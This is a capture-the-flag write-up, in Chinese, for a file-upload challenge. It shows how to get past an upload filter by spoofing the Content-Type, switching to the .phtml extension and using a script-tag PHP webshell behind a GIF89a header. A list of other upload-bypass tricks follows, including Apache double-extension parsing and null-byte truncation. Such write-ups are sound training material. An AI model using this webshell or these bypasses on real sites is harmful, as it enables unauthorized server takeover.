[极客大挑战 2019]Upload
目录
解题步骤
常见的绕过思路
解题步骤
直接上传shell
回显:Not image!
bp抓包
修改类型
Content-Type: application/octet-stream改为Content-Type: image/jpg
回显:NOT!php!
修改后缀为phtml
回显:NO! HACKER! your file included '<?'
修改过滤的<?,此处用到常见的代替绕过代码
GIF89a <script language="php">eval($_REQUEST['coleak'])</script>
上传成功的数据为
回显为:上传文件名: coleak2.phtml,并没有给出文件的具体位置
尝试下发现在/upload/coleak2.phtml
连接蚁剑拿到flag
常见的绕过思路
- 先把上传的文件改名为shell.jpg,bp抓包时再在filename处将.jpg改为.php(.html等)
- burpsuite抓包更改Content-Type由application/octet-stream改为image/jpg
- 构造图片马上传
- 错误扩展名
原理:当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。
将一句话木马的文件名 shell.php,改成shell.php.abc。首先,服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单规则,即可上传。另外,当在浏览器端访问该文件时,Apache如果解析不了.abc扩展名,会向前寻找可解析的扩展名,即.php。一句话木马可以被解析,apache解析文件名从后往前解析。
- 00截断上传
- php版本小于5.3.29
- magic_quotes_gpc = Off